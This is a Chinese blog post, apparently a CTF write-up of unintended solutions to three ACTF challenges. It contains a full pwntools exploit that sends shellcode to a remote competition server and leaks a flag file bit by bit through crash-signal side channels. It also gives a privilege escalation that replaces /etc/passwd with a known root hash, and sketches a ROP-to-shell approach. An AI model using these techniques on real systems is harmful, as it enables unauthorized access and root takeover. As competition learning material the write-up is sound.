← 返回文章归档
FIELD NOTES / Pwn3 MIN READ

ACTF 部分题的非预期解法(全都是非预期)

afl-sandbox

不知道预期解是什么,但是侧信道了

程序执行我们的shellcode,如果崩溃会根据不同的signal把信息告诉给我们

(复盘的时候想起来,如果exit不同的值是不是也会告诉我们?

(但是这么搞这题就没什么意思了,要是沙箱才有意思呢

用ud2、段错误和正常退出构造出三种不同的状态,就可以二分逐位爆破了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
filename='harness'
# libc=

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

# p=process(filename)
# p = process(["python3", "wrapper.py"])
p=remote('61.147.171.106',64278)
e=ELF(filename)
# libc=ELF(libc)
# context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
difficulty = 12
zeros = '0' * difficulty
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros

def sol(prefix):
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i
def break_hash():
p.recvuntil(b"solve this: sha256(")
prefix = p.recvuntil(b" ",drop=True)
p.sendline(str(sol(prefix.decode())).encode())
def send_hex(msg):
h = msg.hex()
sla('>',h)
sa('>','\n')
break_hash()
ans = ''
this = ''
index = 0
while this != '}':
target = 0
for i in range(0,8):
pow2 = 7-i
target += 1<<pow2
shellcode = asm(f'''
lea rsi, [rbp - 0x400]
mov rdi, 0
mov rdx, 1
mov rax, 0
syscall
''')
shellcode += asm(shellcraft.open(b"/home/ctf/flag"))
shellcode += asm(f'''
lea rsi, [rbp - 0x400]
mov rdi, 4
mov rdx, 0x100
mov rax, 0
syscall
xor rbx, rbx
mov rax, {target}
mov bl, byte ptr[rsi + {index}]
cmp rbx, rax
je equal
jb below
after:
ud2
equal:
mov rax, 0x3c
syscall
below:
mov rsp, 0
ret
''')
send_hex(shellcode)
x = p.recvuntil("awesome, see you next time :)))")
p.close()
if(b"Fork server crashed with signal 4" in x):
p=remote('61.147.171.106',64278)
break_hash()
continue
if(b"Fork server crashed with signal 11" in x):
target -= 1<<pow2
p=remote('61.147.171.106',64278)
break_hash()
continue
this = chr(target)
ans += this
index +=1
print(ans)
# pause()
p=remote('61.147.171.106',64278)
break_hash()
break
print(ans)
p.interactive()
#p=remote()

arandom

这是一道内核题!是我第一次在比赛中真的去试着做的内核题!

什么,怎么别的队都出了

什么,怎么被打烂了

啊!根目录权限居然不是root

修改/etc到文件夹1(mv etc 1),新建/etc/passwd并编辑为

root:$1$abc$mxBQevJT9zt/6fNQJ52EC1:0:0:root:/root:/bin/bash

然后su root 1提权

only_read

嗯,只有read,怎么办呢

而且没有csu给我们打magic gadgets

即便我们有add dword ptr [rbp - 0x3d], ebx ; nop ; ret也毫无办法

考虑可以重写read到pop rbx pop r12… ,然后再用pop控制ebx,再用ebx构造one gadgets

one里面有有一个刚好能满足,要求r12和另外一个寄存器为0,用我们重写的read就可以控制,最后就能成功getshell

(懒了懒了,这题是我们全宇宙超级无敌第一的小花同志完成的,我还没有复现,所以就没有exp了.jpg!!!)

FROM THE ARCHIVE

这篇文章迁移自我的博客园,保留最初的记录。

阅读原文 ↗
/ END✳∷ — 00
SEARCH / 00

搜索文章

输入关键词,搜索全部文章。

标题 / 标签 / 全文ESC 关闭